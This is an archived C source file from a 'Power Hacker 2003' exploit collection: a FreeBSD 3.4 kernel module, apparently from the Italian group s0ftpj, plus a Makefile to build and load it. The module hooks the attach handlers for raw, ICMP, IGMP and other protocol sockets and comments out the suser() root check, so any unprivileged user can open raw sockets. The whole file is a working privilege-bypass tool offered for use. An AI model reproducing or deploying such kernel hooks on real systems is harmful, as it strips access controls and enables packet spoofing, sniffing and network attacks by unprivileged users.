home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / s0ftpj / sock.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-12-17  |  3.6 KB  |  157 lines

  1. /*
  2.  * Name: SRaw for FreeBSD ( sock.c )
  3.  * Date: Mon May 01 13:12:43 2000
  4.  * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]
  5.  *
  6.  * SoftProject 2000 - Digital Sekurity for Y2k
  7.  * Sikurezza.org - Italian Security MailingList
  8.  *
  9.  * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by
  10.  * Poul-Henning Kamp <phk@FreeBSD.ORG> but you can give me in return a coffee.
  11.  *
  12.  * Tested on: FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #5: Mon Mar i386
  13.  *
  14.  * All users are allowed to open raw sockets...
  15.  * This kld disables EPERM in socket() and permits to allocate inpcb even if
  16.  * the socket is raw and users haven't root permissions... bypassing suser()
  17.  * in pru_attach() functions...
  18.  * 
  19.  * 
  20.  * Idea & Code for Linux by Gigi_Sull
  21.  * Code for FreeBSD by pIGpEN / S0ftPj
  22.  */
  23.  
  24.  
  25. #include <sys/param.h>
  26. #include <sys/module.h>
  27. #include <sys/systm.h>
  28. #include <sys/kernel.h>
  29. #include <sys/protosw.h>
  30. #include <sys/socket.h>
  31. #include <sys/socketvar.h>
  32.  
  33. #include <net/route.h>
  34.  
  35. #include <netinet/in.h>
  36. #include <netinet/in_systm.h>
  37. #include <netinet/in_pcb.h>
  38. #include <netinet/ip.h>
  39. #include <netinet/ip_var.h>
  40.  
  41.  
  42. extern struct protosw    inetsw[];
  43. extern struct inpcbinfo    ripcbinfo;
  44.  
  45.  
  46. static int rip_attach         __P((struct socket *, int, struct proc *));
  47. static int (*old_rip_attach)    __P((struct socket *, int, struct proc *));
  48. static int module_handler    __P((module_t, int, void *));
  49.  
  50. #define attach(x)    inetsw[ip_protox[x]].pr_usrreqs->pru_attach
  51.  
  52. static int
  53. module_handler(module_t mod, int cmd, void *arg)
  54. {
  55.     int s;
  56.     
  57.     switch(cmd) {
  58.          case MOD_LOAD:
  59.             s = splnet();
  60.             old_rip_attach        =    attach(IPPROTO_RAW);
  61.              attach(IPPROTO_RAW)    =    rip_attach;
  62.             attach(IPPROTO_ICMP)    =    rip_attach;
  63.             attach(IPPROTO_IGMP)    =     rip_attach;
  64.             attach(IPPROTO_RSVP)    =    rip_attach;
  65.             attach(IPPROTO_IPIP)    =    rip_attach;
  66.             attach(IPPROTO_IDP)    =    rip_attach;
  67.             attach(0)        =    rip_attach;
  68.             splx(s);
  69.             break;
  70.             
  71.         case MOD_UNLOAD:
  72.             s = splnet();
  73.             attach(IPPROTO_RAW)    =    old_rip_attach;
  74.             attach(IPPROTO_ICMP)    =    old_rip_attach;
  75.             attach(IPPROTO_IGMP)    =    old_rip_attach;
  76.             attach(IPPROTO_RSVP)    =    old_rip_attach;
  77.             attach(IPPROTO_IPIP)    =    old_rip_attach;
  78.             attach(IPPROTO_IDP)    =    old_rip_attach;
  79.             attach(0)        =    old_rip_attach;
  80.             splx(s);
  81.             break;
  82.     }
  83.     
  84.     return 0;
  85. }
  86.  
  87. static moduledata_t s_raw = {
  88.     "S_Raw",
  89.     module_handler,
  90.     NULL
  91. };
  92.  
  93. DECLARE_MODULE(S_Raw, s_raw, SI_SUB_PSEUDO, SI_ORDER_ANY);
  94.  
  95. static u_long    rip_sendspace = 8192;    /* RIPSNDQ */
  96. static u_long    rip_recvspace = 8192;    /* RIPRCVQ */
  97.       
  98. static int
  99. rip_attach(struct socket *so, int proto, struct proc *p)
  100. {
  101.     struct inpcb *inp;
  102.     int error, s;
  103.  
  104.     inp = sotoinpcb(so);
  105.     if (inp)
  106.         panic("rip_attach");
  107.     
  108.     /*
  109.      * We don't want suser() call
  110.      * 
  111.      * if (p && (error = suser(p->p_ucred, &p->p_acflag)) != 0)
  112.      *    return error;
  113.      */
  114.  
  115.     s = splnet();
  116.     error = in_pcballoc(so, &ripcbinfo, p);                     splx(s);
  117.     if (error)
  118.         return error;
  119.     error = soreserve(so, rip_sendspace, rip_recvspace);
  120.     if (error)
  121.         return error;
  122.     inp = (struct inpcb *)so->so_pcb;
  123.     inp->inp_ip_p = proto;
  124.     return 0;
  125. }
  126.  
  127. /*
  128. # SoftProject 2000 - Digital Sekurity for Y2k
  129. # Sikurezza.org - Italian Security MailingList
  130. #
  131. # COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by
  132. # Poul-Henning Kamp <phk@FreeBSD.ORG> but you can give me in return a coffee.
  133. #
  134. # Tested on: FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #3: Thu Mar i386
  135. # < pigpen@s0ftpj.org > 
  136.  
  137. .PATH: /sys/kern
  138. SRCS    = sock.c 
  139. CFLAGS+= -I/sys
  140. KMOD    = sock 
  141. NOMAN    = t
  142. KLDMOD    = t
  143.  
  144. KLDLOAD        = /sbin/kldload
  145. KLDUNLOAD    = /sbin/kldunload
  146.  
  147. CLEANFILES+= ${KMOD}
  148.  
  149. load:
  150.     ${KLDLOAD} -v ./${KMOD}
  151.  
  152. unload:
  153.     ${KLDUNLOAD} -v -n ${KMOD}
  154.  
  155. .include <bsd.kmod.mk>
  156. */
  157.